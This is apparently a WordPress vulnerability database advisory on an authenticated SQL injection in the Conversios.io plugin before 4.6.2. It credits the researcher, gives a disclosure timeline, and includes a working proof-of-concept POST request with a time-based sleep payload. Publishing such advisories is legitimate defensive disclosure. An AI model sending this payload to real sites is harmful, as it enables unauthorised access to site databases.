WordPress Plugin Vulnerabilities
Conversios.io < 4.6.2 - Subscriber+ SQL Injection
Description
The plugin does not sanitise, validate and escape the sync_progressive_data parameter for the tvcajax_product_sync_bantch_wise AJAX action before using it in a SQL statement, allowing any authenticated user to perform SQL injection attacks.
Note: The vendor was notified multiple times since November 6th, 2021, released incorrect fixes and the issue is still present
Proof of Concept
POST /wp-admin/admin-ajax.php HTTP/1.1 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: zh,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 138 Connection: close Cookie: [subscriber+] Upgrade-Insecure-Requests: 1 action=tvcajax_product_sync_bantch_wise&sync_progressive_data[sync_step]=2&sync_progressive_data[last_sync_product_id]=12+or+sleep(10)--+-
Affects Plugins
References
CVE
Classification
Type
SQLI
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
ZhongFu Su(JrXnm) of Wuhan University
Submitter
ZhongFu Su(JrXnm) of Wuhan University
Submitter website
Submitter twitter
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2022-02-01 (about 2 years ago)
Added
2022-02-01 (about 2 years ago)
Last Updated
2022-09-26 (about 1 years ago)